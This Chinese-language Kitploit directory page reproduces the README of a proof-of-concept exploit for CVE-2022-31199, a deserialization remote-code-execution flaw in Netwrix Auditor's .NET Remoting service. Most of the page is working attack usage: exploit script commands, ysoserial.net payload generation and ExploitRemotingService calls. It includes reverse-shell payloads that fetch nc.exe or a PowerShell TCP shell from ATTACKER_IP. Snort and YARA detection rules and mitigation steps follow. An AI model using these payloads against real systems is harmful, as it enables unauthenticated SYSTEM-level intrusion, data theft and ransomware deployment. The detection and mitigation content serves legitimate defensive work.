Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-31199 — 概念验证利用,针对 CVE-2022-31199——Netwrix Auditor 中的一个关键 .NET 反序列化远程代码执行漏洞。包含 Python 和 PowerShell 脚本、使用 ysoserial.net 生成有效载荷,以及用于授权安全测试的检测签名。 | Kitploit
工具/GitHubGitHub/developerfred/cve-2022-31199
漏洞分析漏洞利用渗透测试命令与控制学习与教育红队Payload 开发实验室与实践
GitHubdeveloperfred/cve-2022-31199

CVE-2022-31199

概念验证利用,针对 CVE-2022-31199——Netwrix Auditor 中的一个关键 .NET 反序列化远程代码执行漏洞。包含 Python 和 PowerShell 脚本、使用 ysoserial.net 生成有效载荷,以及用于授权安全测试的检测签名。

查看仓库
2211个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-31199 - Netwrix Auditor RCE 漏洞利用 POC

🔍 漏洞概述

CVE-2022-31199 是 Netwrix Auditor 10.5 之前版本中存在的一个严重的不安全对象反序列化漏洞。该漏洞存在于监听 TCP 9004 端口的未受保护的 .NET Remoting 服务中,允许未经身份验证的远程攻击者以 NT AUTHORITY\SYSTEM 权限实现任意代码执行。

漏洞详情

  • CVE ID: CVE-2022-31199
  • CVSS 评分: 9.8 (严重)
  • CWE: CWE-502 (不可信数据的反序列化)
  • 受影响版本: Netwrix Auditor < 10.5
  • 攻击向量: 网络(无需身份验证)
  • 所需权限: 无
  • 影响: 以 SYSTEM 权限完全控制系统
  • CISA KEV: 已列入已知被利用漏洞目录

实际影响

该漏洞已被以下威胁积极在野利用:

  • Truebot 恶意软件 活动(与俄罗斯关联的 CL0P/TA505 勒索软件操作者)
  • Silence 网络犯罪组织
  • FIN11 威胁行为者

成功利用通常会导致:

  • 完全入侵 Active Directory 域
  • 在被监控系统间横向移动
  • 数据窃取
  • 部署勒索软件

📦 仓库内容

本仓库包含 CVE-2022-31199 的完整概念验证 (POC) 漏洞利用:

文件

  1. exploit.py - 基于 Python 的利用框架
  2. exploit.ps1 - PowerShell 利用脚本
  3. README.md - 本文档
  4. manual-exploitation.md - 逐步手动利用指南

🛠️ 需求

所需工具

基于 Windows 的利用(推荐)

  • ysoserial.net - .NET 反序列化载荷生成器

    • 下载地址:https://github.com/pwntester/ysoserial.net
    • 发布版本:https://github.com/pwntester/ysoserial.net/releases
  • ExploitRemotingService - .NET Remoting 利用工具

    • 下载地址:https://github.com/tyranid/ExploitRemotingService
    • 替代版本(增强版):https://github.com/codewhitesec/ExploitRemotingService

Python 脚本要求

  • Python 3.6 或更高版本
  • 仅标准库(基本检查无需外部依赖)
  • 需有访问 ysoserial.net 和 ExploitRemotingService 可执行文件的权限

PowerShell 脚本要求

  • PowerShell 5.1 或更高版本
  • Windows 操作系统
  • ysoserial.exe 和 ExploitRemotingService.exe 需位于脚本目录中

🚀 快速开始

1. 检查目标是否易受攻击

使用 Python:

python3 exploit.py --target 192.168.1.100 --check

使用 PowerShell:

.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

2. 生成载荷

# 使用 ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"

3. 执行漏洞利用

Python(使用预生成载荷):

python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]

PowerShell(自动):

.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

📖 详细用法

Python 利用 (exploit.py)

基本漏洞检查

python3 exploit.py --target 10.10.10.100 --check

使用自定义载荷进行全面利用

# 步骤 1:生成载荷
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"

# 步骤 2:执行漏洞利用
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]

高级选项

# 自定义端口
python3 exploit.py --target 10.10.10.100 --port 9004 --check

# 自定义端点
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check

命令行参数

--target    : 目标 IP 地址或主机名(必需)
--port      : 目标端口(默认:9004)
--endpoint  : .NET Remoting 端点名称(默认:UAVRServer)
--check     : 仅检查漏洞,不进行利用
--payload   : 来自 ysoserial.net 的 Base64 编码载荷

PowerShell 利用 (exploit.ps1)

仅漏洞检查

.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

执行命令

# 简单命令执行
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

# 将输出写入文件
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"

# 自定义端口
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"

参数

-Target     : 目标 IP 地址或主机名(必需)
-Port       : 目标端口(默认:9004)
-Command    : 在目标上执行的命令(默认:"whoami")
-CheckOnly  : 仅检查漏洞,不进行利用

🎯 利用示例

示例 1:信息收集

# 检查系统信息
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"

示例 2:反弹 Shell

设置监听器:

nc -lvnp 4444

生成载荷:

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

示例 3:PowerShell 反弹 Shell

创建反弹 shell 脚本 (rev.ps1):

$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

托管该脚本:

python3 -m http.server 8000

生成载荷:

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"

示例 4:直接使用 ExploitRemotingService

# 测试连接性
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver

# 使用 lease 模式执行(绕过某些保护)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\

# 使用对象引用执行
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"

🔬 技术细节

漏洞根本原因

该漏洞源于:

  1. TCP 端口 9004 上未受保护的 .NET Remoting 端点
  2. 使用 BinaryFormatter 反序列化,未进行适当的类型过滤
  3. UAVRServer 服务接受任意序列化对象
  4. 服务以 SYSTEM 权限运行(在典型部署中)

利用过程

1. 攻击者连接到 TCP 端口 9004
2. 识别 .NET Remoting 服务(UAVRServer 端点)
3. 使用 ysoserial.net 生成恶意序列化载荷
4. 通过 .NET Remoting 协议发送载荷
5. 目标使用 BinaryFormatter 反序列化对象
6. Gadget 链执行任意代码
7. 代码以 NT AUTHORITY\SYSTEM 权限运行

支持的 Gadget 链

以下 ysoserial.net gadget 可用于此漏洞:

  • TypeConfuseDelegate(推荐)
  • ObjectDataProvider
  • PSObject
  • WindowsIdentity
  • TextFormattingRunProperties

网络协议

.NET Remoting 协议结构:
┌─────────────────────────────────────┐
│ 前导码(8 字节)                    │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ 头部                                │
├─────────────────────────────────────┤
│ URI (UAVRServer)                    │
├─────────────────────────────────────┤
│ 序列化对象 (BinaryFormatter)        │
└─────────────────────────────────────┘

🛡️ 检测

网络指标

Snort/Suricata 规则

alert tcp any any -> any 9004 (
    msg:"CVE-2022-31199 Netwrix .NET Remoting 漏洞利用尝试"; 
    content:"|00 01 00 00 01 00 00 00|"; 
    depth:8; 
    content:"System.Runtime.Remoting"; 
    distance:0; 
    sid:1000001; 
    rev:1;
)

入侵指标 (IOCs)

  • 到 TCP 端口 9004 的意外连接
  • 带有 .NET Remoting 头部的大数据包
  • BinaryFormatter 序列化特征
  • 从 UAVRServer.exe 上下文执行的进程

基于主机的检测

检查易受攻击的服务:

# 检查端口 9004 是否在监听
netstat -ano | findstr :9004

# 识别进程
tasklist /FI "PID eq [PID]"

事件日志监控:

  • 查看从 UAVRServer.exe 产生的异常进程创建
  • 监控 SYSTEM 级别的命令执行
  • 检查来自审计服务的网络连接

YARA 规则

rule CVE_2022_31199_Netwrix_Exploit {
    meta:
        description = "检测 CVE-2022-31199 漏洞利用尝试"
        author = "安全研究员"
        date = "2024-11-17"
        severity = "critical"
        
    strings:
        $header = { 00 01 00 00 01 00 00 00 }
        $remoting1 = "System.Runtime.Remoting" ascii
        $remoting2 = "UAVRServer" ascii
        $remoting3 = "Netwrix" ascii
        $serialize = "BinaryFormatter" ascii
        $gadget1 = "TypeConfuseDelegate" ascii
        $gadget2 = "ObjectDataProvider" ascii
        
    condition:
        $header at 0 and 
        ($remoting1 or $remoting2 or $remoting3) and 
        $serialize and
        any of ($gadget*)
}

🔒 缓解措施

立即行动

  1. 升级到 Netwrix Auditor 10.5 或更高版本

    • 版本 10.5.10936.0(2022 年 6 月 6 日)- 初始修复
    • 版本 10.5.10977.0(2022 年 10 月 27 日)- 额外保护
  2. 网络分段

    • 不要将 TCP 端口 9004 暴露给不受信任的网络
    • 将 Netwrix Auditor 置于防火墙之后
    • 实施网络访问控制
  3. 监控

    • 监控到端口 9004 的异常连接
    • 对从 UAVRServer.exe 执行的进程发出警报
    • 留意 SYSTEM 级别的命令执行

验证

# 检查 Netwrix Auditor 版本
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version

# 检查端口是否暴露
Test-NetConnection -ComputerName localhost -Port 9004

# 验证防火墙规则
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}

📚 参考资料

下载工具